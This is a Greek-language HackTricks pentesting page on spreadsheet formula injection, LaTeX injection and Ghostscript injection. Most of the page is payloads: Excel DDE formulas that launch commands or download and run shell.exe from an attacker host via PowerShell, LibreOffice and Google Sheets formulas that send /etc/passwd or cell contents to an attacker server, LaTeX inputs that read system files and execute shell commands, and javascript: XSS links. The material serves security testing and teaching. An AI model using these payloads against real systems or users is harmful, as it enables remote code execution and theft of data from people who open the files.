Formula/CSV/Doc/LaTeX/GhostScript Injection

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Formula Injection

Info

Αν η είσοδός σας αντικατοπτρίζεται μέσα σε αρχεία CSV (ή οποιοδήποτε άλλο αρχείο που πιθανόν θα ανοιχτεί από το Excel), ίσως μπορείτε να βάλετε τύπους του Excel που θα εκτελούνται όταν ο χρήστης ανοίγει το αρχείο ή όταν ο χρήστης κλικάρει σε κάποιο σύνδεσμο μέσα στο φύλλο excel.

caution

Σήμερα το Excel θα ειδοποιήσει (πολλές φορές) τον χρήστη όταν κάτι φορτώνεται από έξω από το Excel προκειμένου να τον προστατεύσει από κακόβουλες ενέργειες. Επομένως, πρέπει να καταβληθεί ειδική προσπάθεια στο Social Engineering για το τελικό payload.

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο excel και για την εκτέλεση αιτημάτων σε αυθαίρετες τοποθεσίες. Απαιτεί όμως από τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τις προειδοποιήσεις).

Το παρακάτω παράδειγμα έχει ληφθεί από https://payatu.com/csv-injection-basic-to-exploit

Φανταστείτε μια παραβίαση ασφάλειας σε ένα σύστημα Διαχείρισης Φοιτητικών Αρχείων που εκμεταλλεύεται μέσω μιας επίθεσης CSV injection. Η κύρια πρόθεση του επιτιθέμενου είναι να παραβιάσει το σύστημα που χρησιμοποιούν οι δάσκαλοι για να διαχειρίζονται τις λεπτομέρειες των φοιτητών. Η μέθοδος περιλαμβάνει τον επιτιθέμενο να εισάγει ένα κακόβουλο payload στην εφαρμογή, συγκεκριμένα εισάγοντας επιβλαβείς τύπους σε πεδία που προορίζονται για λεπτομέρειες φοιτητών. Η επίθεση εξελίσσεται ως εξής:

  1. Εισαγωγή Κακόβουλου Payload:
  • Ο επιτιθέμενος υποβάλλει μια φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει έναν τύπο που χρησιμοποιείται συνήθως σε υπολογιστικά φύλλα (π.χ., =HYPERLINK("<malicious_link>","Click here")).
  • Αυτός ο τύπος έχει σχεδιαστεί για να δημιουργεί έναν υπερσύνδεσμο, αλλά δείχνει σε έναν κακόβουλο διακομιστή που ελέγχεται από τον επιτιθέμενο.
  1. Εξαγωγή Παραβιασμένων Δεδομένων:
  • Οι δάσκαλοι, ανίδεοι της παραβίασης, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
  • Το αρχείο CSV, όταν ανοιχτεί, περιέχει ακόμα το κακόβουλο payload. Αυτό το payload εμφανίζεται ως κλικαρίσιμος υπερσύνδεσμος στο υπολογιστικό φύλλο.
  1. Ενεργοποίηση της Επίθεσης:
  • Ένας δάσκαλος κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι είναι ένα νόμιμο μέρος των λεπτομερειών του φοιτητή.
  • Με το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή τον υπολογιστή του δασκάλου) μεταδίδονται στον διακομιστή του επιτιθέμενου.
  1. Καταγραφή των Δεδομένων:
  • Ο διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που αποστέλλονται από τον υπολογιστή του δασκάλου.
  • Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, παραβιάζοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.

RCE

Δείτε την αρχική ανάρτηση για περισσότερες λεπτομέρειες.

Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια δυνατότητα που ονομάζεται Dynamic Data Exchange (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να αξιοποιηθεί αυτό, οι παρακάτω ρυθμίσεις πρέπει να είναι ενεργοποιημένες:

  • Μεταβείτε στο Αρχείο → Επιλογές → Κέντρο εμπιστοσύνης → Ρυθμίσεις Κέντρου εμπιστοσύνης → Εξωτερικό περιεχόμενο, και ενεργοποιήστε το Dynamic Data Exchange Server Launch.

Όταν ανοίξει ένα υπολογιστικό φύλλο με το κακόβουλο payload (και αν ο χρήστης αποδεχτεί τις προειδοποιήσεις), το payload εκτελείται. Για παράδειγμα, για να εκκινήσει την εφαρμογή υπολογιστή, το payload θα είναι:

markdown
=cmd|' /C calc'!xxx

Επιπλέον εντολές μπορούν επίσης να εκτελούνται, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:

bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Τοπική Συμπερίληψη Αρχείων (LFI) στο LibreOffice Calc

Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για να διαβάσει τοπικά αρχεία και να εξάγει δεδομένα. Ακολουθούν μερικές μέθοδοι:

  • Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Εξαγωγή των διαβασμένων δεδομένων σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Εξαγωγή περισσότερων από μία γραμμές: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Εξαγωγή DNS (αποστολή διαβασμένων δεδομένων ως DNS ερωτήσεις σε έναν διακομιστή DNS ελεγχόμενο από τον επιτιθέμενο): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets για Εξαγωγή Δεδομένων Εκτός Δικτύου (OOB)

Το Google Sheets προσφέρει συναρτήσεις που μπορούν να εκμεταλλευτούν για εξαγωγή δεδομένων OOB:

  • CONCATENATE: Συνενώνει συμβολοσειρές - =CONCATENATE(A2:E2)
  • IMPORTXML: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Εισάγει RSS ή ATOM ροές - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Εισάγει δεδομένα από πίνακες ή λίστες HTML - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Εισάγει μια περιοχή κελιών από άλλο υπολογιστικό φύλλο - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Εισάγει μια εικόνα σε ένα κελί - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

Εισαγωγή LaTeX

Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που μετατρέπουν κώδικα LaTeX σε PDF χρησιμοποιούν pdflatex.
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για να (απαγορεύσει) ή να επιτρέψει την εκτέλεση εντολών:

  • --no-shell-escape: Απενεργοποιεί τη δομή \write18{command}, ακόμη και αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.
  • --shell-restricted: Το ίδιο με το --shell-escape, αλλά περιορισμένο σε ένα 'ασφαλές' σύνολο προκαθορισμένων εντολών (**Στο Ubuntu 16.04 η λίστα είναι στο /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Ενεργοποιεί τη δομή \write18{command}. Η εντολή μπορεί να είναι οποιαδήποτε εντολή shell. Αυτή η δομή κανονικά απαγορεύεται για λόγους ασφαλείας.

Ωστόσο, υπάρχουν και άλλοι τρόποι για να εκτελέσετε εντολές, οπότε για να αποφύγετε την RCE είναι πολύ σημαντικό να χρησιμοποιήσετε --shell-restricted.

Διαβάστε αρχείο

Μπορεί να χρειαστεί να προσαρμόσετε την εισαγωγή με περιτυλίγματα όπως [ ή $.

bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Διαβάστε αρχείο με μία γραμμή

bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Διαβάστε αρχείο πολλών γραμμών

bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Γράψτε αρχείο

bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Εκτέλεση εντολών

Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να την αποκτήσετε.

bash
\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Αν λάβετε οποιοδήποτε σφάλμα LaTex, σκεφτείτε να χρησιμοποιήσετε το base64 για να αποκτήσετε το αποτέλεσμα χωρίς κακά χαρακτήρες.

bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
bash
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Από @EdOverflow

bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Έλεγχος https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks